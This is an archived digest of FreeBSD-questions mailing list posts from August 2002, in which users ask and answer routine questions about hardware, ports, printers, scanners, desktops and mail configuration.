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From owner-freebsd-questions  Sat Aug  3  6: 4:29 2002
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Date: Sat, 3 Aug 2002 06:04:15 -0700
From: Benjamin Krueger <benjamin@seattleFenix.net>
To: "Janine C . Buorditez" <janine@broadpark.no>
Cc: questions@freebsd.org
Subject: Re: Mode switch rollercoaster after seejpeg crash termination
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* Janine C . Buorditez (janine@broadpark.no) [020803 05:51]:
> Hi.
> 
> seejpeg stopped responding while viewing a picture in console.
> 
> Switching to any of the other virtual consoles did not work, hence I had to
> remotely kill the hung up process. When I returned to the machine, the picture
> was still there. I pressed CTRL+C and it went away, trying to switch back to
> its original console video mode. But it seems to be switching forth and back
> all the time, and I believe leaving my monitor on would be fatal.
> 
> Does anyone know what to do? The machine has such a nifty uptime that rebooting
> it is not an option.
> 
> Love,
> Janine

Is not being able to use the machine an option? See if the process is still
running, or if another process (perhaps a parent) is unhappy. How exactly is
it flopping back and forth?

-- 
Benjamin Krueger

"Life is far too important a thing ever to talk seriously about."
- Oscar Wilde (1854 - 1900)
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From owner-freebsd-questions  Sat Aug  3  6:25:28 2002
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From: "Adam@junik.lv" <adam@junik.lv>
To: <freebsd-questions@freebsd.org>
Subject: wavelan as Netinterface 
Date: Sat, 3 Aug 2002 16:24:23 +0300
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Hi all,
I'd really appreciate it if you could help with
the following case:

I need to route 3 subnets from one router to the other peer on (Orinoco)
Wavelan card in P2P mode.
The question is how can I specify the wi0 as the net interface?

E.g. /sbin/route add -net 225.125.125.116/26 wi0 175.215.123.21
where 175.215.123.21 is the destination GW.


Thanks,
Adam



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From owner-freebsd-questions  Sat Aug  3  6:51: 5 2002
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Date: Sat, 3 Aug 2002 15:50:58 +0200
From: Janine C.Buorditez <janine@broadpark.no>
To: questions@freebsd.org
Subject: "libpixmap.so"
Message-Id: <20020803155058.4b923362.janine@broadpark.no>
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I'm getting this:

Gtk-WARNING **: Unable to locate loadable module in module_path: "libpixmap.so",

So I tried installing `pixmap' thinking it might solve my problem so I could run
a GTK theme called Ice-icey using GTK-Theme-Switch.

Guess not, so far.

Anyone?

Love,
Janine

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From owner-freebsd-questions  Sat Aug  3  7: 2: 9 2002
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Subject: etherape-0.8.2_2 error: Error getting device: no suitable device
	found
From: Stacey Roberts <stacey@Demon.vickiandstacey.com>
Reply-To: sroberts@dsl.pipex.com
To: FreeBSD Gnome <freebsd-gnome@FreeBSD.ORG>
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Hello,
     I've just installed etherape-0.8.2_2 and attempted to run it from
the gnome programs menu, but got an error on start-up: 
Error getting device: no suitable device found.

Here's the uname info:
# uname -a
FreeBSD <snip> 4.6-STABLE FreeBSD 4.6-STABLE #0: Wed Jul 24 02:57:09 BST
2002 root@:/usr/obj/usr/src/sys/<snip>  i386
# 
 I have an ADSL connection to the internet from this machine on a shared
(with other machines - W2K, RH Linux etc) switch to a FBSD gateway,
connected to the ADSL modem.

I've got a Netgear FA311 nic that's working fine, so why the error? Have
I neglected to configure something after make install clean?

Thanks.

Stacey


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From owner-freebsd-questions  Sat Aug  3  8: 0:47 2002
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Date: Sat, 3 Aug 2002 17:00:00 +0200
From: Burkard Meyendriesch <bm@Malepartus.de>
To: freebsd-questions@FreeBSD.org
Subject: How to install a flash card reader with IDE/ATAPI interface
Message-Id: <20020803170000.010df208.bm@malepartus.de>
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Hi folks,

trying to install my new IDE interface flash card reader I get the 
following error message:

dmesg:
...
afd0: MODE_SENSE_BIG - ILLEGAL REQUEST asc=0x24 ascq=0x00 error=0x04
afd0: <IOMEGA ZIP 100 like IICA-1/01-12-17> floppy device - NO DRIVER!
...


The device is connected as master to the second channel of my IDE 
controler. I think that the kernel does recognize the device but has
no specific driver for it. Can somebody please tell me which device
has to be inserted into my kernel configuration file.

Thanks a lot in advance
Burkard

-----------------------------------------------------------------------

uname -a
FreeBSD Reineke.Malepartus.DE 4.6-STABLE FreeBSD 4.6-STABLE #12: Fri Aug  2 21:48:08 MEST 2002     bm@Reineke.Malepartus.DE:/usr/src/sys/compile/REINEKE  i386
bm@Reineke:/usr/home/bm$


-----------------------------------------------------------------------
my current configuration file:

ident		REINEKE
machine		i386		#i386 family PC hardware architecture
maxusers	128		#controls the static sizing of system tables

options 	ROOTDEVNAME=\"ufs:ad0s1a\"

cpu		I686_CPU	#aka Pentium Pro(tm)

options		COMPAT_43	#Compatible with BSD 4.3 [KEEP THIS!]
options         USER_LDT        #allow user-level ctrl of i386 ldt WINE

options 	SYSVSHM		# include support for shared memory
options 	SHMMAXPGS=1025	# max amount of shared memory pages (4k on i386)
options 	SHMALL=1025	# max amount of shared memory (bytes)
options 	SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)"
				# max shared memory segment size (bytes)
options 	SHMMIN=2	# min shared memory segment size (bytes)
options 	SHMMNI=129	# max number of shared memory identifiers
options 	SHMSEG=33	# max shared memory segments per process

options 	SYSVSEM		# include support for semaphores
options 	SEMMAP=31	# amount of entries in semaphore map
options 	SEMMNI=11	# number of semaphore identifiers in the system
options 	SEMMNS=61	# number of semaphores in the system
options 	SEMMNU=31	# number of undo structures in the system
options 	SEMMSL=61	# max number of semaphores per id
options 	SEMOPM=101	# max number of operations per semop call
options 	SEMUME=11	# max number of undo entries per process

options 	SYSVMSG		# include support for message queues
options 	MSGMNB=2049	# max characters per message queue
options 	MSGMNI=41	# max number of message queue identifiers
options 	MSGSEG=2049	# max number of message segments in the system
options 	MSGSSZ=16	# size of a message segment MUST be power of 2
options 	MSGTQL=41	# max amount of messages in the system

options         PMAP_SHPGPERPROC=300       

options		DDB		#enable kernel debugger
options		DDB_UNATTENDED	#don't drop into DDB for a panic.
options		KTRACE		#kernel tracing
options		PERFMON		#Pentium performance counters

options		UCONSOLE	#Allow users to grab the console
options		USERCONFIG	#boot -c editor
options		VISUAL_USERCONFIG #visual boot -c editor

options		INET		#InterNETworking
options 	INET6		#IPv6 communications protocols
options 	IPSEC		#IP security
options 	IPSEC_ESP	#IP security (crypto; define w/ IPSEC)
options 	IPSEC_DEBUG	#debug for IP security

options 	NETSMB		#SMB/CIFS requester
options 	NETSMBCRYPTO	#encrypted password support for SMB
options 	LIBMCHAIN	#mbuf management library
options 	LIBICONV	#Kernel side iconv library

pseudo-device	ether		#Generic Ethernet
pseudo-device	loop		#Network loopback device
pseudo-device	bpf	4	#Berkeley packet filter
pseudo-device	disc		#Discard device (ds0, ds1, etc)
pseudo-device   sl      1	#Kernel SLIP
pseudo-device   ppp     1	#Kernel PPP
pseudo-device   tun		#Packet tunnel

pseudo-device   gif     4	#IPv6 and IPv4 tunneling
pseudo-device   faith   1	#IPv6-to-IPv4 relaying (translation)
pseudo-device	stf		#6to4 IPv6 over IPv4 encapsulation

options		RANDOM_IP_ID	#causes ID field in IP packets to be randomized
options 	ICMP_BANDLIM	#enables icmp error response bandwidth limiting

options 	FFS		#Fast filesystem
options 	MFS		#Memory File System

options 	NFS_NOSERVER	#Disable the NFS-server code.
options 	CD9660		#ISO 9660 filesystem
options 	KERNFS		#Kernel filesystem
options 	MSDOSFS		#MS DOS File System
options 	PROCFS		#Process filesystem

options 	FFS_ROOT	#FFS usable as root device
options 	CD9660_ROOT	#CD-ROM usable as root device

options 	SOFTUPDATES	#Enable FFS soft updates support

options         P1003_1B
options         _KPOSIX_PRIORITY_SCHEDULING
options         _KPOSIX_VERSION=199309L

device		amd0		#AMD 53C974 (Teckram DC-390(T))

device		scbus0 at amd0	#Single bus device
device		da0
device		sa0 at scbus0 target 5
device		sa1 at scbus0 target 4
device		cd0 at scbus0 target 6
device		pass		# Passthrough device (direct SCSI access)

options 	CAM_MAX_HIGHPOWER=4
options		SCSI_DELAY=8000		#Be pessimistic about Joe SCSI device
options 	SA_1FM_AT_EOD
pseudo-device	pty	32	#Pseudo-ttys (telnet etc)
pseudo-device   speaker      	#IBM BASIC-style noises out your speaker
pseudo-device	gzip		#Exec gzipped a.out's
pseudo-device	vn		#Vnode driver (turns a file into a device)
pseudo-device   md		#Memory/malloc disk
pseudo-device	snp	        #Snoop device - to look at pty/vty/etc..

device		isa

options 	AUTO_EOI_1	#enables `automatic EOI' on master 8259A

options		PPS_SYNC	#Support external PPS signal
options		CLK_USE_TSC_CALIBRATION

options         NTIMECOUNTER=20

device          atkbdc0 at isa? port IO_KBD
device          atkbd0  at atkbdc? irq 1

options 	ATKBD_DFLT_KEYMAP	# specify the built-in keymap
makeoptions	ATKBD_DFLT_KEYMAP="german.iso"

device		psm0	at atkbdc? irq 12

device          vga0	at isa?

device		sc0	at isa?
options 	MAXCONS=16		# number of virtual consoles
options 	SC_ALT_MOUSE_IMAGE	# simplified mouse cursor in text mode
options 	SC_DFLT_FONT		# compile font in
makeoptions	SC_DFLT_FONT=cp850
options 	SC_DISABLE_DDBKEY	# disable `debug' key
options 	SC_DISABLE_REBOOT	# disable reboot key sequence
options 	SC_HISTORY_SIZE=200	# number of history buffer lines
options 	SC_MOUSE_CHAR=0x3	# char code for text mode mouse cursor
options 	SC_PIXEL_MODE		# add support for the raster text mode

options 	SC_NORM_ATTR="(FG_GREEN|BG_BLACK)"
options 	SC_NORM_REV_ATTR="(FG_YELLOW|BG_GREEN)"
options 	SC_KERNEL_CONS_ATTR="(FG_RED|BG_BLACK)"
options 	SC_KERNEL_CONS_REV_ATTR="(FG_BLACK|BG_RED)"

device          npx0    at nexus? port IO_NPX flags 0x0 irq 13

device		ata
device		atadisk		# ATA disk drives
device		atapicd		# ATAPI CDROM drives
device		atapifd		# ATAPI floppy drives
device		atapist		# ATAPI tape drives
options 	ATA_STATIC_ID	# Static device numbering

device		vpo   		# Iomega Zip Drive
options		VP0_DEBUG	# ZIP/ZIP+ debug

device          fdc0    at isa? port IO_FD1 irq 6 drq 2
device		fd0	at fdc0 drive 0

device          sio0    at isa? port 0x3f8 flags 0x0010 irq 4
options		COM_MULTIPORT
device		sio1	at isa? port 0x2a0 flags 0x0401
device		sio2	at isa? port 0x2a8 flags 0x0401
device		sio3	at isa? port 0x2b0 flags 0x0401
device		sio4	at isa? port 0x2b8 flags 0x0401 irq 3

device		pci		# PCI bus chip set

device		miibus		# MII bus controller support
device		xl0		# 3Com 3c90x (``Boomerang'', ``Cyclone'')

device		ppc0 at isa? port 0x378 irq 7
device          ppbus		# Parallel port bus (required)
device          lpt		# Printer
device          ppi		# Parallel port interface device
device		pps		# Pulse per second Timing Interface

device		uhci		# UHCI PCI->USB interface
device		ohci		# OHCI PCI->USB interface
device		usb		# USB Bus (required)
device		ugen		# Generic
device		uhid		# "Human Interface Devices"
device		ukbd		# Keyboard
device		ulpt		# Printer
device		umass		# Disks/Mass storage - Requires scbus and da
device		ums		# Mouse
device		uscanner	# Scanners
device		urio		# Diamond Rio MP3 Player
device		pcm0 at isa? irq 10 drq 1 flags 0x0
device		sbc0	at isa? port 0x220 irq 5 drq 1 flags 0x15


--
* Burkard Meyendriesch             ___                bm@malepartus.de *
* Stevern 2                 ________|________      tel +49 171 5456381 *
* D-48301 Nottuln                   0           51 56'55"N  07 22'14"E *
* PGP-Fingerprint     BF 3B 41 DE 15 4D C9 48  15 EF A5 86 BF 6D 68 1A *

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From owner-freebsd-questions  Sat Aug  3  8:12:15 2002
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From: "Philip J. Koenig" <pjklist@ekahuna.com>
Organization: The Electric Kahuna Organization
To: questions@FreeBSD.ORG
Date: Sat, 03 Aug 2002 08:12:02 -0700
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Subject: Problems building Mutt port
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I've run into fatal problems upgrading Mutt 1.2.4 or 1.2.5 on at 
least 2 FreeBSD boxes now, using portupgrade.

So today I tried uninstalling the existing version and installing the 
port from scratch and it *still* dies.  This time the error had to do 
with the directory "de.gmo" being missing.  Last time I tried to 
upgrade 1.2.4 it had the same problem:

install: ./de.gmo: No such file or directory.
*** Error code 71


I tried contacting the port maintainer several months ago about this 
but got no response.  Anyone have any ideas? (now the box in question 
has nothing, since I removed the *working* copy of mutt.. sigh)


--
Philip J. Koenig                                       
pjklist@ekahuna.com
Electric Kahuna Systems -- Computers & Communications for the New 
Millenium



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From owner-freebsd-questions  Sat Aug  3  8:19:52 2002
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Date: Sat, 3 Aug 2002 09:19:49 -0600 (MDT)
From: Warren Block <wblock@wonkity.com>
To: Katinka Mills <katinka@magestower.com>
Cc: freebsd-questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Support for the brother HL 1440 laser printer
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On Sat, 3 Aug 2002, Katinka Mills wrote:

> I read the documentation on the brother website and they say to use ljet4 
> drivers when no brother ones exist. 
> 
> If I send text to the printer no problems, but if I print from ghostscript I 
> get errors :o(

Errors?  Like what, exactly?  Are you using the LaserJet 4 driver as
suggested?  Normally, you'd have an input filter defined in
/etc/printcap that calls Ghostscript with the LJ4 driver specified as an
output.  I've done this, and it works surprisingly well.  Unfortunately,
I don't have it here at home, but can provide it later.
 
-Warren Block * Rapid City, South Dakota USA


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From owner-freebsd-questions  Sat Aug  3  8:27: 9 2002
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To: Roger Williams <root@edo.naviservers.net>
Cc: questions@FreeBSD.ORG
Subject: Re: Build World Error
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Roger Williams wrote:
> Hello All,
>   Im trying to upgrade from 4.4_STABLE to 4.4-RELEASE p22 and am getting
> the following error:
> 
> ===> share/termcap
> TERM=dumb ex - /usr/src/share/termcap/termcap.src <
> /usr/src/share/termcap/reorder > /dev/null
> *** Error code 1
> 
> Just before this machine I did another with the same parameters and all
> went well.  Can anyone explain what is going on or point me in a
> direction.  I even tried the whole proccess again from the begining
> (ran cvs again) and it craps out in the same place everytime.  Any help
> would be appreciated.
> 
> Thanks,
> Roger
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

Since you dont mention exactly what you are doing, I assume you 
are running a make buildworld when you get the error.
Try doing a 'make clean' in /usr/src, and then do a make 
buildworld again.

--
R



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From owner-freebsd-questions  Sat Aug  3  8:27:12 2002
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To: Jan Beck <janb@cs.utep.edu>
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Subject: Re: Harddisk damage by driver?
References: <200207311527.LAA04565@devonshire.cnchost.com> <004c01c238a8$7e8d0ef0$5cab3a40@vizion2000.net> <000c01c238b3$91b0a6d0$0401a8c0@jan>
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Jan Beck wrote:
> That brings up a very good question. How many people have had problems due
> to overheating?
> 
> I have had the very odd problem of having 2 IDE drives die over the past
> month, most likely due to overheating, since it gets very hot in my dual
> athlon system. These drives had very high usage at almost all times. In my
> file server, however, the hard drives get VERY hot. So much so, that you
> can't touch them without burning your hands. All the drives in the file
> server have been running well over a year in those conditions and I haven't
> had any problems with it. The server load itself is very light, however.
> 
> I have heard of drives failig due to heat, but never due to usage. But I can
> guarantee that the 7200 RPM drives in the file server are much hotter than
> the drives in the workstations were.
> 
> Does usage have any bearing on drive life? It seems that the cooling is not
> important as long as the usage load on the drives is fairly low...
> 
> Or have I just been really lucky?
> 
> JAn
> 

Overheating sure can cause all kinds of hardware failures.
I have seen boxes chew through drives at insane rates, and 
improved cooling and airflow does very often if not always fix 
the problem.
Check any drive vendors homepage and you will probably find that 
they specify a recomended operating temperature and clearly 
states that a higher temperature may damage your drives.

--
R




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From owner-freebsd-questions  Sat Aug  3  8:28:14 2002
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From: Katinka Mills <katinka@magestower.com>
To: freebsd-questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Support for the brother HL 1440 laser printer
Date: Sat, 3 Aug 2002 23:33:35 +0800
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On Sat, 3 Aug 2002 23:19, Warren Block wrote:
> On Sat, 3 Aug 2002, Katinka Mills wrote:
> > I read the documentation on the brother website and they say to use ljet4
> > drivers when no brother ones exist.
> >
> > If I send text to the printer no problems, but if I print from
> > ghostscript I get errors :o(
>
> Errors?  Like what, exactly?  Are you using the LaserJet 4 driver as
> suggested?  Normally, you'd have an input filter defined in
> /etc/printcap that calls Ghostscript with the LJ4 driver specified as an
> output.  I've done this, and it works surprisingly well.  Unfortunately,
> I don't have it here at home, but can provide it later.
>
> -Warren Block * Rapid City, South Dakota USA

Hi all, 

Sorry I meant to specify the errors, I get parts of pages printed then an 
error page is printed by the printer. Some pages get most of the page, others 
only an inch or two.

I have my resolution set to 600x600.

Regards,

Kat.
-- 
--------------------------------------------------------------------------------------------
K.A.Q. Electronics
Software and Electronic Engineering
Perth, Western Australia
Phone +61 (0) 419 923 731
--------------------------------------------------------------------------------------------

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From owner-freebsd-questions  Sat Aug  3  8:59:13 2002
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Subject: KDE vs. GNOME || GNOME vs. KDE
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X-Loop: FreeBSD.ORG

So what's the big difference?  How would one go about choosing which to
run?

- Matthew

 
/**************************************************************
      Matthew Metnetsky
 
      met@uberstats.com

**************************************************************/



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From owner-freebsd-questions  Sat Aug  3  9: 9:57 2002
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From: "Brian T. Schellenberger" <bts@babbleon.org>
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On Saturday 03 August 2002 11:55 am, MET wrote:
| So what's the big difference?  How would one go about choosing which to
| run?

Chrysler vs. Ford.
Burger King vs. McDonald's.
Toyota vs. Honda.

And you can use packages from one with the other.

KDE is more of a "Windows-like" experience, I'd say.  I't more tightly 
integrated: you can use different window manages with Gnome, but KDE uses 
kdewm, period.  I mean, there are a lots of themes and customizations, but 
KDE is more of an overall package and Gnome is more of a "Unix-like" 
experience, with customization taken to preposterous extremes and the ability 
to plug-and-replace all sorts of stuff.

I much prefer KDE myself: a coherent entity with a single control panel seems 
like a superior approach for a GUI environment to me.

I'd strongly recommend KDE over Gnome for those transitioning from Windows and 
looking for an easier time, but I prefer it even though I'm pretty much the 
opposite, having Unix experience that is old enough to drink (that is, more 
than 21 years) and having never liked Windows as an O/S.

The best approach if you can is to find people who use each and see which you 
like by watching themn work, but if you aren't lucky enough to know such 
people I'd try browing the web for screen shots and such.

I like KDE myself, FWIW.


-- 
Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
                                        http://www.babbleon.org

http://www.eff.org                      http://www.programming-freedom.org 

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"Pascal Giannakakis" <capm@gmx.net> writes:

> the command "mixer line 100" sets the volume, but after reboot, the
> mixer-settings are lost. How do i make the changes permanent? Do i have to
> put a script into /usr/local/etc/rc.d/?

That's what *I* did...

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From owner-freebsd-questions  Sat Aug  3  9:34:31 2002
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Well, I've got my Dell 8200.   I bought it with the Geforce 2 because
XFree86 explicititely said that it worked with their 4.2.  But I
understand that there are FreeBSD specific issues, ie. it doesn't work. 
My screen starts up but turns into a psychedelic mixture of colors.

I checked back thru the questions, mobile, multimedia, and harware list
archives and I came up with two web pages that might have a solution. 
The first was nvidia.netexplore.org.  They have a patch that works with
an Nvidia linux driver that unfortunately is no longer on the Nvidia
page.  The second is www.marcuscom.com which has a patch to our nv
server port.  

I'm just wondering what the latest info is as all of what I've seen
looks pretty old.  I'm going to try the patch agains the server today,
though.

BTW, this laptop kicks ass!  Kernel builds and port builds go faster
than my 1200Mhz DDR main system.  Very nice.  

Thanks,  Rob


-- 
-----------------------------
The Numeric Python EM Project

www.pythonemproject.com


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From: Scott Mitchell <scott.mitchell@mail.com>
To: MET <met@uberstats.com>
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Subject: Re: KDE vs. GNOME || GNOME vs. KDE
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On Sat, Aug 03, 2002 at 11:55:52AM -0400, MET wrote:
> So what's the big difference?  How would one go about choosing which to
> run?
> 
> - Matthew

Try them both and see which one you like best, is probably the best
advice.  Some might find KDE a bit too Windows-like, but it does come with
a pretty reasonable set of applications and utilities, and doesn't intrude
too much -- just the one bar at the bottom of the screen, the way I have it
set up.  The last time I used Gnome was a couple of years ago on a RedHat 6
box; it crashed on me almost daily so I went back to WindowMaker and
haven't used it since... I imagine it provides pretty much the same
functionality as KDE though.

KDE & Gnome are both pretty heavyweight -- I'll hazard a guess and say that
anything much less than a 700MHz machine with 256MB of RAM and a decent
graphics adapter won't really be up to the task of running them.

And don't forget that you can run Gnome or KDE apps without actually using
either of them as your window manager.  As long as the necessary libraries
are installed most of the apps will run just fine.

HTH,

	Scott

-- 
===========================================================================
Scott Mitchell          | PGP Key ID | "Eagles may soar, but weasels
Cambridge, England      | 0x54B171B9 |  don't get sucked into jet engines"
scott.mitchell@mail.com | 0xAA775B8B |      -- Anon

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From owner-freebsd-questions  Sat Aug  3  9:35: 5 2002
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From: Jordi YC <jordi_yc@lycos.es>
To: "Brent J. Ermlick" <brent@bermls.oau.org>
Subject: Re: uscanner howto?
Date: Sat, 3 Aug 2002 12:28:49 -0400
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I am still missing something here.

1) dmesg reports



On Saturday 03 August 2002 08:25, Brent J. Ermlick wrote:
> In article <info.freebsd.questions/200208022015.11684.jordi_yc@lycos.es> you 
wrote:
> >Hi,
> >
> >I have an AcerScan 620U, and it is detected as uscanner.
> >
> >However, I am somewhat lost in order to use it with openoffice or other
> >applications.
>
> I have an Epson rather than AcerScan, so I can't experiment, but sane
> usually requires that a .conf file in /usr/local/etc/sane.d be modified
> to point to your scanner. For my Epson I had to to modify epson.conf.
>
> The sane documentation says that it supports the AcerScan Prisa 620u
> as a SnapScan clone, so you'd need to modify
> /usr/local/etc/sane.d/snapscan.conf. I took a quick look at the file,
> but can't tell you exactly what to modify. You can look at the man page
> by doing
>
>     man sane-snapscan
>
> which also points to http://snapscan.sourceforge.net
>
> Good luck!


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From: Jordi YC <jordi_yc@lycos.es>
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Subject: Re: uscanner howto?
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Hi there,

I am still missing something here.
1) dmesg says 
uscanner0: Color  FlatbedScanner 13, rev 1.00/1.00, addr 2

2) in my sanpscan.conf I have...

firmware /usr/local/etc/sane.d/u96v121.bin
/dev/uscanner0
.. <scsi stuff>
usb:/dev/uscanner0
..
usb 0x04a5 0x1a2a
..

Then, I try to do
sane-find-scanner
# Note that sane-find-scanner will find any scanner that is connected
# to a SCSI bus and some scanners that are connected to the Universal
# Serial Bus (USB) depending on your OS. It will even find scanners
# that are not supported at all by SANE. It won't find a scanner that
# is connected to a parallel or proprietary port.

sane-find-scanner: found USB scanner (UNKNOWN vendor and product) at device 
/dev/uscanner0

# `UNKNOWN vendor and product' means that there seems to be a scanner
# at this device file but the vendor and product ids couldn't be
# identified. Currently identification only works with Linux versions
# >= 2.4.8.

If the current identification only works with Linux, what is the next step?

xscanimage /dev/uscanner0 reports fail to open /dev/uscanner0: invalid 
argument

TIA

On Saturday 03 Aug
>
> I have an Epson rather than AcerScan, so I can't experiment, but sane
> usually requires that a .conf file in /usr/local/etc/sane.d be modified
> to point to your scanner. For my Epson I had to to modify epson.conf.
>
> The sane documentation says that it supports the AcerScan Prisa 620u
> as a SnapScan clone, so you'd need to modify
> /usr/local/etc/sane.d/snapscan.conf. I took a quick look at the file,
> but can't tell you exactly what to modify. You can look at the man page
> by doing
>
>     man sane-snapscan
>
> which also points to http://snapscan.sourceforge.net
>
> Good luck!


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From owner-freebsd-questions  Sat Aug  3  9:44:59 2002
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Date: Sat, 3 Aug 2002 10:44:56 -0600 (MDT)
From: Warren Block <wblock@wonkity.com>
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On Sat, 3 Aug 2002, Katinka Mills wrote:

> Sorry I meant to specify the errors, I get parts of pages printed then an 
> error page is printed by the printer.

What does the error page say?

> Some pages get most of the page, others only an inch or two.
>
> I have my resolution set to 600x600.
 
It sounds like Ghostscript is working if you're getting even part of the
page.  A guess would be that the printer is running out of memory.  To
handle a full page at 600x600 (letter) would take 4M of memory in the
printer, more for A4 pages.  Some printers use compression techniques to
require less, but not all images compress well.  Try it at 300x300.

-Warren Block * Rapid City, South Dakota USA


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From owner-freebsd-questions  Sat Aug  3  9:47:35 2002
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Subject: Re: Geforce 2 Go, need some current info
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: rob <rob@pythonemproject.com>
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On Sat, 2002-08-03 at 12:30, rob wrote:
> Well, I've got my Dell 8200.   I bought it with the Geforce 2 because
> XFree86 explicititely said that it worked with their 4.2.  But I
> understand that there are FreeBSD specific issues, ie. it doesn't work.=20
> My screen starts up but turns into a psychedelic mixture of colors.
>=20
> I checked back thru the questions, mobile, multimedia, and harware list
> archives and I came up with two web pages that might have a solution.=20
> The first was nvidia.netexplore.org.  They have a patch that works with
> an Nvidia linux driver that unfortunately is no longer on the Nvidia
> page.  The second is www.marcuscom.com which has a patch to our nv
> server port. =20

My site is still up, and still offers working patches for the GeForce2
Go as well as GeForce4 cards.  I'm using those drivers on my 8100, and I
have 24-bit color at 1600x1200.  Of course, with the native XFree
drivers, you don't get 3D acceleration.

>=20
> I'm just wondering what the latest info is as all of what I've seen
> looks pretty old.  I'm going to try the patch agains the server today,
> though.

You shouldn't have any problems, but if you do, let me know.

Joe

>=20
> BTW, this laptop kicks ass!  Kernel builds and port builds go faster
> than my 1200Mhz DDR main system.  Very nice. =20
>=20
> Thanks,  Rob
>=20
>=20
> --=20
> -----------------------------
> The Numeric Python EM Project
>=20
> www.pythonemproject.com
>=20
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Sat Aug  3  9:55:56 2002
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From: Andrew J Caines <A.J.Caines@halplant.com>
To: FreeBSD Question Mailing List <questions@FreeBSD.ORG>
Subject: Re: Editor for Word files
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Christopher

>     Anybody know of a text based editor that I can just view and/or
> edit Microsoft Word documents?

While I eschew all things MS, I believe that Word docs are described in
XML nowadays, which means the actual file is readable as text and
therefore can be viewed directly with any editor.

If you want to get the text out of a Word doc so you can edit it as a text
document, take a look at "antiword" (/usr/ports/textproc/antiword) - a
.doc to .txt translator.


If you're looking for a word processor which can read and manipulate .doc
files, then look into OpenOffice, StarOffice or AbiWord, all as various
versions in ports. Make sure to read the archives on these programs for
important details.

Of course I urge you to not perpetuate the backward and indefensible
practice of exchanging information in proprietary document formats.


-Andrew-
-- 
 _______________________________________________________________________
| -Andrew J. Caines-   Unix Systems Engineer   A.J.Caines@halplant.com  |
| "They that can give up essential liberty to obtain a little temporary |
|  safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 |

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From owner-freebsd-questions  Sat Aug  3 10: 0:56 2002
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Date: Sat, 3 Aug 2002 11:00:51 -0600 (MDT)
From: Warren Block <wblock@wonkity.com>
To: freebsd-questions@freebsd.org
Subject: Setting Up A USB Scanner
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There have been a few people asking about this, and some from a month or
so back that never got it to work.  Just now, I set up my Epson USB
scanner on another system, and documented the process.  Here goes:

0. Basic setup: I used FreeBSD 4.6, ports freshly cvsupped, and this
   line added in /etc/rc.conf so the USB daemon is running:

   usbd_enable="YES"

   (If you've just added this line, reboot so usbd will be started.)

1. Install xsane for both SANE scanning support and a front-end for
   it.  This also installs GIMP; if you don't want it, remove the
   WITH_GIMP=yes option.

   # cd /usr/ports/graphics/xsane
   # make install WITH_GIMP=yes

2. Attach the USB scanner and turn it on.  You should see a message when
   it has been detected:

   uscanner0: EPSON Perfection1640, rev 1.10/1.03, addr 3

3. Tell SANE about the scanner by editing the SANE configuration.  For
   Epson, this file is /usr/local/etc/sane.d/epson.conf.  Add this line
   to the end of the file:

   usb /dev/uscanner0

4. At this point, xsane can be run by root, but it will rightly complain
   that running it as root is a security mistake.
   Other users don't have access to the /dev/uscanner0 device, so xsane
   will report to them that no scanners have been found.  To fix this,
   you could change the permissions on /dev/uscanner0; instead, I chose
   to add my "normal" user to the operator group:

  # pw groupmod operator -M wblock

Now user wblock will be able to run xsane and use the USB scanner.

-Warren Block * Rapid City, South Dakota USA


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From owner-freebsd-questions  Sat Aug  3 10: 1: 0 2002
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From: Neil Darlow <neil@darlow.co.uk>
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Subject: RE: Problems building Mutt port
Date: Sat, 3 Aug 2002 18:00:51 +0100
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Hi Philip,

On 08/03/2002 at 08:12:02, Philip J. Koenig wrote:
> I've run into fatal problems upgrading Mutt 1.2.4 or 1.2.5 on at 
> least 2 FreeBSD boxes now, using portupgrade.

You could try the mutt-devel port (currently at version 1.5.1_1).

To avoid the dependencies needed to build the documentation define 
WITHOUT_MUTT_SGMLFORMAT during the build process.

Don't worry about the -devel name tag on the port. I've been using this 
branch for some time now without any problems.

Regards,
Neil Darlow M.Sc.
-- 
Say No to Software Patents -- Say No to TCPA -- Say No to Palladium
ICQ: 135505456  E-Mail, Jabber, MSNM: neil@darlow.co.uk
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From owner-freebsd-questions  Sat Aug  3 10:10:57 2002
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From: Warren Block <wblock@wonkity.com>
To: Jordi YC <jordi_yc@lycos.es>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: uscanner howto?
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On Sat, 3 Aug 2002, Jordi YC wrote:

> I am still missing something here.
> 1) dmesg says 
> uscanner0: Color  FlatbedScanner 13, rev 1.00/1.00, addr 2
> 
> 2) in my sanpscan.conf I have...

ITYM "snapscan.conf"--at the top of that file, it says "These USB
devices will be probed automatically (This will currently work only on
Linux)".
 
> firmware /usr/local/etc/sane.d/u96v121.bin

So SANE uploads firmware to the scanner every time?  May work if the
device is correct.

> /dev/uscanner0
> .. <scsi stuff>
> usb:/dev/uscanner0

Based on the comments in the file, it looks like you should say:

usb /dev/uscanner0 bus=usb

> usb 0x04a5 0x1a2a

Dunno what this is supposed to do in Linux, but odds are good that it's
different in FreeBSD.

-Warren Block * Rapid City, South Dakota USA


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From owner-freebsd-questions  Sat Aug  3 10:15:56 2002
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At 2002-08-03T16:34:49Z, Scott Mitchell <scott.mitchell@mail.com> writes:

> KDE & Gnome are both pretty heavyweight -- I'll hazard a guess and say
> that anything much less than a 700MHz machine with 256MB of RAM and a
> decent graphics adapter won't really be up to the task of running them.

I was using a P-II/450 up until a couple of months ago, and only grew tired
of it because Nautilus was just unbearable (but cool enough that I wanted to
try to us it).  I also had 768MB of RAM and a Geforce2, so I'd agree with at
least 2/3 of your statement.
-- 
Kirk Strauser
The Strauser Group - http://www.strausergroup.com/

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From owner-freebsd-questions  Sat Aug  3 10:23:37 2002
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I've been unable to find a good explanation (and hope a guru will be kind
enough to provide one) regarding the best rc.conf option to choose if a
user just wants to be able to send mail.

If I choose sendmail_enable="NONE", I can send email and sockstat shows
port 25 open on the localhost. If I choose sendmail_enable="NO", port 25
no longer shows up but I appear to lose the ability to send mail. Is
"NONE" as good as it gets and does it leave port 25 all the way open or
just to the localhost?

Any comments, explanations, pointers to URLs? I don't think I'm the only
person out there confused about this.

Dru


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From: Andrew J Caines <A.J.Caines@halplant.com>
